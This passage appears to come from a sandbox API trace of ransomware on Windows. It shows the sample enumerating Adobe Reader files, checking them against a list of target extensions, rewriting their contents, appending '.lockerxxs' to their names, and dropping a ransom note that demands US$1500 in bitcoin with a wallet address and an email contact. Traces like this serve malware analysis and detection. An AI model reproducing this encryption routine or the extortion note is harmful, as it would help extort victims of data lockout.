10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0069.074] lstrlenA (lpString="*.tar") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0069.074] lstrlenA (lpString="*.bz2") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0069.074] lstrlenA (lpString="*.gz") returned 4 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0069.074] lstrlenA (lpString="*.mkv") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.074] lstrlenA (lpString="*.eml") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0069.074] lstrlenA (lpString="*.msg") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0069.075] lstrlenA (lpString="*.edb") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0069.075] lstrlenA (lpString="*.accdb") returned 7 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0069.075] lstrlenA (lpString="*.odb") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.java") returned 0 [0069.075] lstrlenA (lpString="*.java") returned 6 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0069.075] lstrlenA (lpString="*.asm") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0069.075] lstrlenA (lpString="*.pfx") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0069.075] lstrlenA (lpString="*.pem") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0069.075] lstrlenA (lpString="*.p12") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0069.075] lstrlenA (lpString="*.gpg") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0069.075] lstrlenA (lpString="*.vsd") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0069.075] lstrlenA (lpString="*.odg") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0069.075] lstrlenA (lpString="*.raw") returned 5 [0069.075] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0069.075] lstrlenA (lpString="*.nef") returned 5 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0069.076] lstrlenA (lpString="*.svg") returned 5 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0069.076] lstrlenA (lpString="*.psd") returned 5 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0069.076] lstrlenA (lpString="*.vmx") returned 5 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0069.076] lstrlenA (lpString="*.vmdk") returned 6 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0069.076] lstrlenA (lpString="*.vdi") returned 5 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0069.076] lstrlenA (lpString="*.lay6") returned 6 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0069.076] lstrlenA (lpString="*.mpeg") returned 6 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0069.076] lstrlenA (lpString="*.djvu") returned 6 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0069.076] lstrlenA (lpString="*.tiff") returned 6 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0069.076] lstrlenA (lpString="*.backup") returned 8 [0069.076] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0069.076] lstrlenA (lpString="*.pdf") returned 5 [0069.076] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" [0069.076] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" [0069.076] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf." [0069.077] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.lockerxxs" [0069.077] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.077] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5aac [0069.077] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0069.078] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.078] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5a86, lpOverlapped=0x0) returned 1 [0069.080] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf") returned="DefaultID.pdf" [0069.080] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.080] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5a86, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5a86, lpOverlapped=0x0) returned 1 [0069.081] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.081] CloseHandle (hObject=0x94) returned 1 [0069.087] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf.lockerxxs")) returned 1 [0069.087] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5aac, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0069.088] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.088] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SUO", cAlternateFileName="")) returned 1 [0069.088] lstrcmpA (lpString1=".", lpString2="SUO") returned -1 [0069.088] lstrcmpA (lpString1="..", lpString2="SUO") returned -1 [0069.088] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0069.088] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="SUO" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" [0069.088] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO") returned 63 [0069.088] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.088] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.088] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.088] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.089] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.089] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107e2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0069.089] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.089] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0069.089] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0069.089] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0069.089] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*.*") returned="*.*" [0069.089] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\" [0069.089] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\") returned="" [0069.089] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO DECRYPT FILES.txt" [0069.089] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\how to decrypt files.txt")) returned 0xffffffff [0069.091] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.091] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.091] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.093] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.093] CloseHandle (hObject=0x94) returned 1 [0069.093] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0069.094] lstrlenA (lpString="*.ems") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.db") returned 0 [0069.094] lstrlenA (lpString="*.db") returned 4 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0069.094] lstrlenA (lpString="*.dbf") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0069.094] lstrlenA (lpString="*.myox") returned 6 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0069.094] lstrlenA (lpString="*.myo") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0069.094] lstrlenA (lpString="*.qbw") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0069.094] lstrlenA (lpString="*.qbb") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0069.094] lstrlenA (lpString="*.qbm") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0069.094] lstrlenA (lpString="*.qbo") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0069.094] lstrlenA (lpString="*.qbx") returned 5 [0069.094] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0069.095] lstrlenA (lpString="*.qba") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0069.095] lstrlenA (lpString="*.qby") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0069.095] lstrlenA (lpString="*.qbj") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0069.095] lstrlenA (lpString="*.ofx") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0069.095] lstrlenA (lpString="*.qif") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0069.095] lstrlenA (lpString="*.mye") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0069.095] lstrlenA (lpString="*.mbox") returned 6 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.095] lstrlenA (lpString="*.eml") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0069.095] lstrlenA (lpString="*.pst") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0069.095] lstrlenA (lpString="*.ost") returned 5 [0069.095] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0069.095] lstrlenA (lpString="*.idx") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0069.096] lstrlenA (lpString="*.dbx") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0069.096] lstrlenA (lpString="*.sql") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0069.096] lstrlenA (lpString="*.mdb") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0069.096] lstrlenA (lpString="*.fdb") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0069.096] lstrlenA (lpString="*.wab") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0069.096] lstrlenA (lpString="*.dat") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0069.096] lstrlenA (lpString="*.txt") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0069.096] lstrlenA (lpString="*.jpeg") returned 6 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0069.096] lstrlenA (lpString="*.jpg") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.png") returned 0 [0069.096] lstrlenA (lpString="*.png") returned 5 [0069.096] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.php") returned 0 [0069.096] lstrlenA (lpString="*.php") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0069.097] lstrlenA (lpString="*.cs") returned 4 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0069.097] lstrlenA (lpString="*.cpp") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0069.097] lstrlenA (lpString="*.rar") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0069.097] lstrlenA (lpString="*.zip") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.html") returned 0 [0069.097] lstrlenA (lpString="*.html") returned 6 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0069.097] lstrlenA (lpString="*.htm") returned 5 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0069.097] lstrlenA (lpString="*.xlsx") returned 6 [0069.097] PathMatchSpecA (pszFile="C:\\Program Files 